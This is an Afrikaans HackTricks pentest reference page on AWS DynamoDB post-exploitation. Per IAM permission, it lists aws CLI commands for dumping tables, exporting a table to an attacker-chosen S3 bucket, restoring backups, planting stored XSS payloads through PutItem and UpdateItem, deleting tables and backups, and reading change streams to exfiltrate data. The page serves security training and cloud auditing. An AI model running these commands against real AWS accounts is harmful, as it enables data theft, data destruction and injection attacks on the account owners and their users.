9.9 KiB
AWS - DynamoDB Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
DynamoDB
Vir meer inligting, kyk:
{{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}}
dynamodb:BatchGetItem
'n Aanvaller met hierdie toestemmings sal in staat wees om items uit tabelle te kry deur die primêre sleutel (jy kan nie net vir al die data van die tabel vra nie). Dit beteken dat jy die primêre sleutels moet ken (jy kan dit kry deur die tabel metadata te verkry (describe-table).
{{#tabs }} {{#tab name="json file" }}
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
{{#endtab }}
{{#tab name="inline" }}
aws dynamodb batch-get-item \
--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
--region <region>
{{#endtab }} {{#endtabs }}
Potensiële Impak: Indirekte privesc deur sensitiewe inligting in die tabel te lokaliseer
dynamodb:GetItem
Soortgelyk aan die vorige toestemmings laat hierdie een 'n potensiële aanvaller toe om waardes van net 1 tabel te lees gegewe die primêre sleutel van die inskrywing om te onttrek:
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
Met hierdie toestemming is dit ook moontlik om die transact-get-items metode te gebruik soos:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
Potensiële Impak: Indirekte privesc deur sensitiewe inligting in die tabel te lokaliseer
dynamodb:Query
Soortgelyk aan die vorige toestemmings laat hierdie een 'n potensiële aanvaller toe om waardes van net 1 tabel te lees gegewe die primêre sleutel van die inskrywing om te onttrek. Dit laat toe om 'n substel van vergelykings te gebruik, maar die enigste vergelyking wat met die primêre sleutel toegelaat word (wat moet verskyn) is "EQ", so jy kan nie 'n vergelyking gebruik om die hele DB in 'n versoek te kry nie.
{{#tabs }} {{#tab name="json file" }}
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
{{#endtab }}
{{#tab name="inline" }}
aws dynamodb query \
--table-name TargetTable \
--key-condition-expression "AttributeName = :value" \
--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
--region <region>
{{#endtab }} {{#endtabs }}
Potensiële Impak: Indirekte privesc deur sensitiewe inligting in die tabel te lokaliseer
dynamodb:Scan
Jy kan hierdie toestemming gebruik om die hele tabel maklik te dump.
aws dynamodb scan --table-name <t_name> #Get data inside the table
Potensiële Impak: Indirekte privesc deur sensitiewe inligting in die tabel te lokaliseer
dynamodb:PartiQLSelect
Jy kan hierdie toestemming gebruik om die hele tabel maklik te dump.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Hierdie toestemming laat ook toe om batch-execute-statement uit te voer soos:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
maar jy moet die primêre sleutel met 'n waarde spesifiseer, so dit is nie so nuttig nie.
Potensiële Impak: Indirekte privesc deur sensitiewe inligting in die tabel te lokaliseer
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
Hierdie toestemming sal 'n aanvaller toelaat om die hele tabel na 'n S3-bucket van sy keuse te exporteer:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
Let wel, vir dit om te werk moet die tabel punt-in-tyd-herstel geaktiveer wees, jy kan nagaan of die tabel dit het met:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
As dit nie geaktiveer is nie, sal jy dit moet aktiveer en daarvoor het jy die dynamodb:ExportTableToPointInTime toestemming nodig:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
Potensiële Impak: Indirekte privesc deur sensitiewe inligting in die tabel te lokaliseer
dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)
Met hierdie toestemmings sou 'n aanvaller in staat wees om nuwe tabel uit 'n rugsteun te skep (of selfs 'n rugsteun te skep om dit dan in 'n ander tabel te herstel). Dan, met die nodige toestemmings, sou hy in staat wees om inligting van die rugsteun te kontroleer wat nie meer in die produksie tabel kon wees nie.
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
Potensiële Impak: Indirekte privesc deur sensitiewe inligting in die tabel rugsteun te lokaliseer
dynamodb:PutItem
Hierdie toestemming laat gebruikers toe om 'n nuwe item aan die tabel toe te voeg of 'n bestaande item met 'n nuwe item te vervang. As 'n item met dieselfde primêre sleutel reeds bestaan, sal die hele item vervang word met die nuwe item. As die primêre sleutel nie bestaan nie, sal 'n nuwe item met die gespesifiseerde primêre sleutel gecreëer word.
{{#tabs }} {{#tab name="XSS Example" }}
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S": "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
{{#endtab }}
{{#tab name="AI Voorbeeld" }}
aws dynamodb put-item \
--table-name ExampleTable \
--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
--region <region>
{{#endtab }} {{#endtabs }}
Potensiële Impak: Exploitatie van verdere kwesbaarhede/oorskrygings deur in staat te wees om data in 'n DynamoDB tabel toe te voeg/te wysig
dynamodb:UpdateItem
Hierdie toestemming laat gebruikers toe om die bestaande eienskappe van 'n item te wysig of nuwe eienskappe aan 'n item toe te voeg. Dit vervang nie die hele item nie; dit werk slegs die gespesifiseerde eienskappe by. As die primêre sleutel nie in die tabel bestaan nie, sal die operasie 'n nuwe item skep met die gespesifiseerde primêre sleutel en die eienskappe wat in die opdateringuitdrukking gespesifiseer is, stel.
{{#tabs }} {{#tab name="XSS Example" }}
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
{{#endtab }}
{{#tab name="AI Voorbeeld" }}
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>
{{#endtab }} {{#endtabs }}
Potensiële Impak: Exploitatie van verdere kwesbaarhede/omseilings deur in staat te wees om data in 'n DynamoDB-tabel by te voeg/wysig
dynamodb:DeleteTable
'n Aanvaller met hierdie toestemming kan 'n DynamoDB-tabel verwyder, wat dataverlies veroorsaak.
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
Potensiële impak: Gegevensverlies en ontwrigting van dienste wat op die verwyderde tabel staatmaak.
dynamodb:DeleteBackup
'n Aanvaller met hierdie toestemming kan 'n DynamoDB-rugsteun verwyder, wat moontlik tot gegevensverlies kan lei in die geval van 'n rampherstel-scenario.
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
Potensiële impak: Gegevensverlies en onvermoë om van 'n rugsteun te herstel tydens 'n rampherstel-scenario.
dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords
Note
TODO: Toets of dit werklik werk
'n Aanvaller met hierdie toestemmings kan 'n stroom op 'n DynamoDB-tabel aktiveer, die tabel opdateer om veranderinge te begin stroom, en dan toegang tot die stroom verkry om veranderinge aan die tabel in werklike tyd te monitor. Dit stel die aanvaller in staat om data veranderinge te monitor en te ekfiltreer, wat moontlik kan lei tot data lekkasie.
- Aktiveer 'n stroom op 'n DynamoDB-tabel:
bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- Beskryf die stroom om die ARN en ander besonderhede te verkry:
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- Kry die shard iterator met behulp van die stroom ARN:
bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- Gebruik die shard iterator om toegang te verkry tot en data uit die stroom te exfiltreer:
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
Potensiële impak: Regte-tyd monitering en data lekkasie van die DynamoDB tabel se veranderinge.
{{#include ../../../banners/hacktricks-training.md}}